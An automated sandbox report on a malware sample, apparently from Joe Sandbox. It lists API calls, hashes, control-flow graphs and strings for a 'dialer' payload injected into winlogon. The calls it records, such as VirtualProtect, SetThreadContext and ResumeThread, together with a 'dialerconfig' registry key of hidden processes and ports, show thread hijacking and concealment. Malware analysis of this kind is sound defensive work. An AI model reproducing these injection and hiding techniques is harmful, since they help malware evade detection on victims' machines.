                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: File$Write$CloseCreateHandle
                                            • String ID: \\.\pipe\dialercontrol_redirect64
                                            • API String ID: 148219782-3440882674
                                            • Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
                                            • Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
                                            • Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
                                            • Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40
                                            Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: AddressHandleModuleProc
                                            • String ID: ntdll.dll
                                            • API String ID: 1646373207-2227199552
                                            • Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
                                            • Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
                                            • Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
                                            • Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

                                            Execution Graph

                                            Execution Coverage:1%
                                            Dynamic/Decrypted Code Coverage:94.6%
                                            Signature Coverage:0%
                                            Total number of Nodes:112
                                            Total number of Limit Nodes:18
                                            execution_graph 29685 225dc67273c 29686 225dc67276a 29685->29686 29687 225dc6727c5 VirtualAlloc 29686->29687 29688 225dc6727ec 29686->29688 29687->29688 29689 225dc643ab9 29690 225dc643a06 29689->29690 29691 225dc643a56 VirtualQuery 29690->29691 29692 225dc643a8a VirtualAlloc 29690->29692 29694 225dc643a70 29690->29694 29691->29690 29691->29694 29693 225dc643abb GetLastError 29692->29693 29692->29694 29693->29690 29693->29694 29695 225dc641abc 29700 225dc641628 GetProcessHeap 29695->29700 29697 225dc641ad2 Sleep SleepEx 29698 225dc641acb 29697->29698 29698->29697 29699 225dc641598 StrCmpIW StrCmpW 29698->29699 29699->29698 29701 225dc641648 _invalid_parameter_noinfo 29700->29701 29745 225dc641268 GetProcessHeap 29701->29745 29703 225dc641650 29704 225dc641268 2 API calls 29703->29704 29705 225dc641661 29704->29705 29706 225dc641268 2 API calls 29705->29706 29707 225dc64166a 29706->29707 29708 225dc641268 2 API calls 29707->29708 29709 225dc641673 29708->29709 29710 225dc64168e RegOpenKeyExW 29709->29710 29711 225dc6418a6 29710->29711 29712 225dc6416c0 RegOpenKeyExW 29710->29712 29711->29698 29713 225dc6416e9 29712->29713 29714 225dc6416ff RegOpenKeyExW 29712->29714 29756 225dc6412bc 13 API calls _invalid_parameter_noinfo 29713->29756 29715 225dc64173a RegOpenKeyExW 29714->29715 29716 225dc641723 29714->29716 29719 225dc641775 RegOpenKeyExW 29715->29719 29720 225dc64175e 29715->29720 29749 225dc64104c RegQueryInfoKeyW 29716->29749 29724 225dc641799 29719->29724 29725 225dc6417b0 RegOpenKeyExW 29719->29725 29757 225dc6412bc 13 API calls _invalid_parameter_noinfo 29720->29757 29721 225dc6416f5 RegCloseKey 29721->29714 29758 225dc6412bc 13 API calls _invalid_parameter_noinfo 29724->29758 29728 225dc6417eb RegOpenKeyExW 29725->29728 29729 225dc6417d4 29725->29729 29726 225dc64176b RegCloseKey 29726->29719 29730 225dc641826 RegOpenKeyExW 29728->29730 29731 225dc64180f 29728->29731 29759 225dc6412bc 13 API calls _invalid_parameter_noinfo 29729->29759 29735 225dc64184a 29730->29735 29736 225dc641861 RegOpenKeyExW 29730->29736 29734 225dc64104c 5 API calls 29731->29734 29732 225dc6417a6 RegCloseKey 29732->29725 29738 225dc64181c RegCloseKey 29734->29738 29739 225dc64104c 5 API calls 29735->29739 29740 225dc64189c RegCloseKey 29736->29740 29741 225dc641885 29736->29741 29737 225dc6417e1 RegCloseKey 29737->29728 29738->29730 29742 225dc641857 RegCloseKey 29739->29742 29740->29711 29743 225dc64104c 5 API calls 29741->29743 29742->29736 29744 225dc641892 RegCloseKey 29743->29744 29744->29740 29760 225dc656168 29745->29760 29747 225dc641283 GetProcessHeap 29748 225dc6412ae _invalid_parameter_noinfo 29747->29748 29748->29703 29750 225dc6411b5 RegCloseKey 29749->29750 29751 225dc6410bf 29749->29751 29750->29715 29751->29750 29752 225dc6410cf RegEnumValueW 29751->29752 29754 225dc641125 _invalid_parameter_noinfo 29752->29754 29753 225dc64114e GetProcessHeap 29753->29754 29754->29750 29754->29752 29754->29753 29755 225dc64116e GetProcessHeap HeapFree 29754->29755 29755->29754 29756->29721 29757->29726 29758->29732 29759->29737 29761 225dc61273c 29762 225dc61276a 29761->29762 29763 225dc6127c5 VirtualAlloc 29762->29763 29766 225dc6128d4 29762->29766 29765 225dc6127ec 29763->29765 29763->29766 29764 225dc612858 LoadLibraryA 29764->29765 29765->29764 29765->29766 29767 225dc6428c8 29769 225dc64290e 29767->29769 29768 225dc642970 29769->29768 29771 225dc643844 29769->29771 29772 225dc643866 29771->29772 29773 225dc643851 StrCmpNIW 29771->29773 29772->29769 29773->29772 29774 225dc64554d 29776 225dc645554 29774->29776 29775 225dc6455bb 29776->29775 29777 225dc645637 VirtualProtect 29776->29777 29778 225dc645671 29777->29778 29779 225dc645663 GetLastError 29777->29779 29779->29778 29780 225dc6ad6cc 29785 225dc6ad6dd __std_exception_copy 29780->29785 29781 225dc6ad72e 29786 225dc6ad6ac 6 API calls __std_exception_copy 29781->29786 29782 225dc6ad712 HeapAlloc 29783 225dc6ad72c 29782->29783 29782->29785 29785->29781 29785->29782 29786->29783 29787 225dc645cf0 29788 225dc645cfd 29787->29788 29789 225dc645d09 29788->29789 29795 225dc645e1a 29788->29795 29790 225dc645d3e 29789->29790 29791 225dc645d8d 29789->29791 29792 225dc645d66 SetThreadContext 29790->29792 29792->29791 29793 225dc645e41 VirtualProtect FlushInstructionCache 29793->29795 29794 225dc645efe 29796 225dc645f1e 29794->29796 29809 225dc6443e0 VirtualFree 29794->29809 29795->29793 29795->29794 29805 225dc644df0 GetCurrentProcess 29796->29805 29798 225dc645f23 29800 225dc645f77 29798->29800 29801 225dc645f37 ResumeThread 29798->29801 29810 225dc647940 IsProcessorFeaturePresent RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind capture_previous_context 29800->29810 29802 225dc645f6b 29801->29802 29802->29798 29804 225dc645fbf 29806 225dc644e0c 29805->29806 29807 225dc644e22 VirtualProtect FlushInstructionCache 29806->29807 29808 225dc644e53 29806->29808 29807->29806 29808->29798 29809->29796 29810->29804

                                            Executed Functions

                                            Function 00000225DC641628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                            • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                            • API String ID: 106492572-2879589442
                                            • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction ID: 406a7c028b3c229bdc1c75f8301e19e1701b13e4dfdd540bc7c265abecc9bc67
                                            • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction Fuzzy Hash: 47712D7E328E60A6EB109FA9E85869D33B4F784F9AF509111DE4E47B69EF34C444C740
                                            Function 00000225DC643790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModule
                                            • String ID: wr
                                            • API String ID: 1092925422-2678910430
                                            • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction ID: 5b5ece5b16f05410ef88fc7334ca4b30fcb2165cfe8f9a178b0778bd0effcbe9
                                            • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction Fuzzy Hash: 96118B2A318F5493EF549BA9E408269B2A0FB88F86F148038DF8A03B94EF3DC505C704
                                            Function 00000225DC645B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 59 225dc645b30-225dc645b57 60 225dc645b59-225dc645b68 59->60 61 225dc645b6b-225dc645b76 GetCurrentThreadId 59->61 60->61 62 225dc645b78-225dc645b7d 61->62 63 225dc645b82-225dc645b89 61->63 64 225dc645faf-225dc645fc6 call 225dc647940 62->64 65 225dc645b9b-225dc645baf 63->65 66 225dc645b8b-225dc645b96 call 225dc645960 63->66 69 225dc645bbe-225dc645bc4 65->69 66->64 72 225dc645bca-225dc645bd3 69->72 73 225dc645c95-225dc645cb6 69->73 75 225dc645c1a-225dc645c8d call 225dc644510 call 225dc6444b0 call 225dc644470 72->75 76 225dc645bd5-225dc645c18 call 225dc6485c0 72->76 78 225dc645cbc-225dc645cdc GetThreadContext 73->78 79 225dc645e1f-225dc645e30 call 225dc6474bf 73->79 87 225dc645c90 75->87 76->87 83 225dc645e1a 78->83 84 225dc645ce2-225dc645d03 78->84 90 225dc645e35-225dc645e3b 79->90 83->79 84->83 93 225dc645d09-225dc645d12 84->93 87->69 94 225dc645e41-225dc645e98 VirtualProtect FlushInstructionCache 90->94 95 225dc645efe-225dc645f0e 90->95 97 225dc645d92-225dc645da3 93->97 98 225dc645d14-225dc645d25 93->98 101 225dc645ec9-225dc645ef9 call 225dc6478ac 94->101 102 225dc645e9a-225dc645ea4 94->102 106 225dc645f1e-225dc645f2a call 225dc644df0 95->106 107 225dc645f10-225dc645f17 95->107 103 225dc645e15 97->103 104 225dc645da5-225dc645dc3 97->104 99 225dc645d27-225dc645d3c 98->99 100 225dc645d8d 98->100 99->100 108 225dc645d3e-225dc645d88 call 225dc643970 SetThreadContext 99->108 100->103 101->90 102->101 109 225dc645ea6-225dc645ec1 call 225dc644390 102->109 104->103 110 225dc645dc5-225dc645e10 call 225dc643900 call 225dc6474dd 104->110 120 225dc645f2f-225dc645f35 106->120 107->106 112 225dc645f19 call 225dc6443e0 107->112 108->100 109->101 110->103 112->106 124 225dc645f77-225dc645f95 120->124 125 225dc645f37-225dc645f75 ResumeThread call 225dc6478ac 120->125 128 225dc645fa9 124->128 129 225dc645f97-225dc645fa6 124->129 125->120 128->64 129->128
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Thread$Current$Context
                                            • String ID:
                                            • API String ID: 1666949209-0
                                            • Opcode ID: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
                                            • Instruction ID: f245da02ec037058e9828f5728e6f8f7909b60f63258dcba4de34453af5a61e8
                                            • Opcode Fuzzy Hash: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
                                            • Instruction Fuzzy Hash: B9D1997A20CF9896DA70DB4AE49835A7BA0F7C8B85F104156EACE47BA5DF3CC541CB40
                                            Function 00000225DC6450D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 131 225dc6450d0-225dc6450fc 132 225dc64510d-225dc645116 131->132 133 225dc6450fe-225dc645106 131->133 134 225dc645127-225dc645130 132->134 135 225dc645118-225dc645120 132->135 133->132 136 225dc645141-225dc64514a 134->136 137 225dc645132-225dc64513a 134->137 135->134 138 225dc64514c-225dc645151 136->138 139 225dc645156-225dc645161 GetCurrentThreadId 136->139 137->136 140 225dc6456d3-225dc6456da 138->140 141 225dc645163-225dc645168 139->141 142 225dc64516d-225dc645174 139->142 141->140 143 225dc645176-225dc64517c 142->143 144 225dc645181-225dc64518a 142->144 143->140 145 225dc64518c-225dc645191 144->145 146 225dc645196-225dc6451a2 144->146 145->140 147 225dc6451a4-225dc6451c9 146->147 148 225dc6451ce-225dc645225 call 225dc6456e0 * 2 146->148 147->140 153 225dc64523a-225dc645243 148->153 154 225dc645227-225dc64522e 148->154 157 225dc645255-225dc64525e 153->157 158 225dc645245-225dc645252 153->158 155 225dc645236 154->155 156 225dc645230 154->156 155->153 162 225dc6452a6-225dc6452aa 155->162 161 225dc6452b0-225dc6452b6 156->161 159 225dc645273-225dc645298 call 225dc647870 157->159 160 225dc645260-225dc645270 157->160 158->157 170 225dc64532d-225dc645342 call 225dc643cc0 159->170 171 225dc64529e 159->171 160->159 164 225dc6452e5-225dc6452eb 161->164 165 225dc6452b8-225dc6452d4 call 225dc644390 161->165 162->161 168 225dc645315-225dc645328 164->168 169 225dc6452ed-225dc64530c call 225dc6478ac 164->169 165->164 175 225dc6452d6-225dc6452de 165->175 168->140 169->168 178 225dc645351-225dc64535a 170->178 179 225dc645344-225dc64534c 170->179 171->162 175->164 180 225dc64536c-225dc6453ba call 225dc648c60 178->180 181 225dc64535c-225dc645369 178->181 179->162 184 225dc6453c2-225dc6453ca 180->184 181->180 185 225dc6454d7-225dc6454df 184->185 186 225dc6453d0-225dc6454bb call 225dc647440 184->186 187 225dc6454e1-225dc6454f4 call 225dc644590 185->187 188 225dc645523-225dc64552b 185->188 198 225dc6454bd 186->198 199 225dc6454bf-225dc6454ce call 225dc644060 186->199 200 225dc6454f6 187->200 201 225dc6454f8-225dc645521 187->201 191 225dc645537-225dc645546 188->191 192 225dc64552d-225dc645535 188->192 196 225dc645548 191->196 197 225dc64554f 191->197 192->191 195 225dc645554-225dc645561 192->195 202 225dc645563 195->202 203 225dc645564-225dc6455b9 call 225dc6485c0 195->203 196->197 197->195 198->185 207 225dc6454d2 199->207 208 225dc6454d0 199->208 200->188 201->185 202->203 210 225dc6455bb-225dc6455c3 203->210 211 225dc6455c8-225dc645661 call 225dc644510 call 225dc644470 VirtualProtect 203->211 207->184 208->185 216 225dc645671-225dc6456d1 211->216 217 225dc645663-225dc645668 GetLastError 211->217 216->140 217->216
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
                                            • Instruction ID: ca8f9a462bd9996edb27ee4ecd3a9b3d43bbe2f9124c1ca87dd336038b8394af
                                            • Opcode Fuzzy Hash: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
                                            • Instruction Fuzzy Hash: 1102C83661DF9496EB60CB99E49436AB7A1F3C4795F104056EA8E87BA8DF7CC444CF00
                                            Function 00000225DC6439E0 Relevance: 4.6, APIs: 3, Instructions: 64memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Virtual$AllocQuery
                                            • String ID:
                                            • API String ID: 31662377-0
                                            • Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
                                            • Instruction ID: 3d7c28a49f1379a387e1eab8d3c47744672dc9424a01523034e22865a73a9f88
                                            • Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
                                            • Instruction Fuzzy Hash: 7F31302625DE98A1EA30DB9DE05835E76A1F388B85F108575F6CF46BA8DF7CC180CB04
                                            Function 00000225DC64328C Relevance: 4.5, APIs: 3, Instructions: 43threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
                                            • String ID:
                                            • API String ID: 1683269324-0
                                            • Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction ID: 7d3d60018f90cf45d3bc6b126cf75a44508ad4678cf0a9f52ef5460c3c2565a3
                                            • Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction Fuzzy Hash: 7011C07C62CEA8B2FB619BE8F90C3993295AB54B47F50C1B4EB0781690EF78C044C240
                                            Function 00000225DC644DF0 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: CacheCurrentFlushInstructionProcessProtectVirtual
                                            • String ID:
                                            • API String ID: 3733156554-0
                                            • Opcode ID: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
                                            • Instruction ID: 7e590623df8fc7209075b22fdaf8685971673eb90f371bc8902be2096d1f9670
                                            • Opcode Fuzzy Hash: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
                                            • Instruction Fuzzy Hash: 9FF03A2A21CF24D0D630DB89E44976ABBA0F788BD5F148151FA8E43B69CE3CC681CF00
                                            Function 00000225DC61273C Relevance: 3.2, APIs: 2, Instructions: 187memorylibraryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 265 225dc61273c-225dc6127a4 call 225dc6129d4 * 4 274 225dc6127aa-225dc6127ad 265->274 275 225dc6129b2 265->275 274->275 277 225dc6127b3-225dc6127b6 274->277 276 225dc6129b4-225dc6129d0 275->276 277->275 278 225dc6127bc-225dc6127bf 277->278 278->275 279 225dc6127c5-225dc6127e6 VirtualAlloc 278->279 279->275 280 225dc6127ec-225dc61280c 279->280 281 225dc612838-225dc61283f 280->281 282 225dc61280e-225dc612836 280->282 283 225dc612845-225dc612852 281->283 284 225dc6128df-225dc6128e6 281->284 282->281 282->282 283->284 285 225dc612858-225dc61286a LoadLibraryA 283->285 286 225dc6128ec-225dc612901 284->286 287 225dc612992-225dc6129b0 284->287 288 225dc6128ca-225dc6128d2 285->288 289 225dc61286c-225dc612878 285->289 286->287 290 225dc612907 286->290 287->276 288->285 292 225dc6128d4-225dc6128d9 288->292 291 225dc6128c5-225dc6128c8 289->291 294 225dc61290d-225dc612921 290->294 291->288 297 225dc61287a-225dc61287d 291->297 292->284 295 225dc612982-225dc61298c 294->295 296 225dc612923-225dc612934 294->296 295->287 295->294 298 225dc612936-225dc61293d 296->298 299 225dc61293f-225dc612943 296->299 300 225dc6128a7-225dc6128b7 297->300 301 225dc61287f-225dc6128a5 297->301 303 225dc612970-225dc612980 298->303 304 225dc612945-225dc61294b 299->304 305 225dc61294d-225dc612951 299->305 306 225dc6128ba-225dc6128c1 300->306 301->306 303->295 303->296 304->303 307 225dc612963-225dc612967 305->307 308 225dc612953-225dc612961 305->308 306->291 307->303 310 225dc612969-225dc61296c 307->310 308->303 310->303
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID: AllocLibraryLoadVirtual
                                            • String ID:
                                            • API String ID: 3550616410-0
                                            • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction ID: b5a9ffdff3e85ff3f1f12f145a610503c53f3502f35e5ceb3ac916478b11310c
                                            • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction Fuzzy Hash: D261363AB02AA097DF56CF5ED00876DB392F754BA6F18C521CE5907788DA38D852C700
                                            Function 00000225DC641ABC Relevance: 3.1, APIs: 2, Instructions: 68sleepCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                              • Part of subcall function 00000225DC641628: GetProcessHeap.KERNEL32 ref: 00000225DC641633
                                              • Part of subcall function 00000225DC641628: HeapAlloc.KERNEL32 ref: 00000225DC641642
                                              • Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416B2
                                              • Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416DF
                                              • Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6416F9
                                              • Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641719
                                              • Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641734
                                              • Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641754
                                              • Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC64176F
                                              • Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC64178F
                                              • Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6417AA
                                              • Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC6417CA
                                            • Sleep.KERNEL32 ref: 00000225DC641AD7
                                            • SleepEx.KERNELBASE ref: 00000225DC641ADD
                                              • Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6417E5
                                              • Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641805
                                              • Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641820
                                              • Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC641840
                                              • Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC64185B
                                              • Part of subcall function 00000225DC641628: RegOpenKeyExW.ADVAPI32 ref: 00000225DC64187B
                                              • Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641896
                                              • Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6418A0
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: CloseOpen$HeapSleep$AllocProcess
                                            • String ID:
                                            • API String ID: 1534210851-0
                                            • Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction ID: b89290e72799dd3975187c06206b195ef9f7eec7f326f7ac498d84b976088364
                                            • Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction Fuzzy Hash: 0731356921CE61B2FF509BAED6593A933A4AB54BC6F04D4A19E0F873E5FF30C451C210
                                            Function 00000225DC67273C Relevance: 1.4, APIs: 1, Instructions: 187memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 350 225dc67273c-225dc6727a4 call 225dc6729d4 * 4 359 225dc6727aa-225dc6727ad 350->359 360 225dc6729b2 350->360 359->360 362 225dc6727b3-225dc6727b6 359->362 361 225dc6729b4-225dc6729d0 360->361 362->360 363 225dc6727bc-225dc6727bf 362->363 363->360 364 225dc6727c5-225dc6727e6 VirtualAlloc 363->364 364->360 365 225dc6727ec-225dc67280c 364->365 366 225dc672838-225dc67283f 365->366 367 225dc67280e-225dc672836 365->367 368 225dc672845-225dc672852 366->368 369 225dc6728df-225dc6728e6 366->369 367->366 367->367 368->369 372 225dc672858-225dc67286a 368->372 370 225dc6728ec-225dc672901 369->370 371 225dc672992-225dc6729b0 369->371 370->371 373 225dc672907 370->373 371->361 379 225dc67286c-225dc672878 372->379 380 225dc6728ca-225dc6728d2 372->380 374 225dc67290d-225dc672921 373->374 377 225dc672923-225dc672934 374->377 378 225dc672982-225dc67298c 374->378 382 225dc672936-225dc67293d 377->382 383 225dc67293f-225dc672943 377->383 378->371 378->374 384 225dc6728c5-225dc6728c8 379->384 380->372 385 225dc6728d4-225dc6728d9 380->385 386 225dc672970-225dc672980 382->386 387 225dc672945-225dc67294b 383->387 388 225dc67294d-225dc672951 383->388 384->380 389 225dc67287a-225dc67287d 384->389 385->369 386->377 386->378 387->386 392 225dc672963-225dc672967 388->392 393 225dc672953-225dc672961 388->393 390 225dc6728a7-225dc6728b7 389->390 391 225dc67287f-225dc6728a5 389->391 394 225dc6728ba-225dc6728c1 390->394 391->394 392->386 395 225dc672969-225dc67296c 392->395 393->386 394->384 395->386
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238224914.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc670000_winlogon.jbxd
                                            Similarity
                                            • API ID: AllocVirtual
                                            • String ID:
                                            • API String ID: 4275171209-0
                                            • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction ID: c822286e1b467df8a310eb99b0d592360f537eec13a50740bd2f5dfddf19021e
                                            • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction Fuzzy Hash: A561483AB01AA0D7DB56CF9AD00876DB3A2F754BA5F18C921CF5907BC8DA38D852C700
                                            Function 00000225DC6AD6CC Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 397 225dc6ad6cc-225dc6ad6db 398 225dc6ad6dd-225dc6ad6e9 397->398 399 225dc6ad6eb-225dc6ad6fb 397->399 398->399 400 225dc6ad72e-225dc6ad739 call 225dc6ad6ac 398->400 401 225dc6ad712-225dc6ad72a HeapAlloc 399->401 407 225dc6ad73b-225dc6ad740 400->407 402 225dc6ad6fd-225dc6ad704 call 225dc6b0720 401->402 403 225dc6ad72c 401->403 402->400 409 225dc6ad706-225dc6ad710 call 225dc6ab85c 402->409 403->407 409->400 409->401
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: AllocHeap
                                            • String ID:
                                            • API String ID: 4292702814-0
                                            • Opcode ID: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
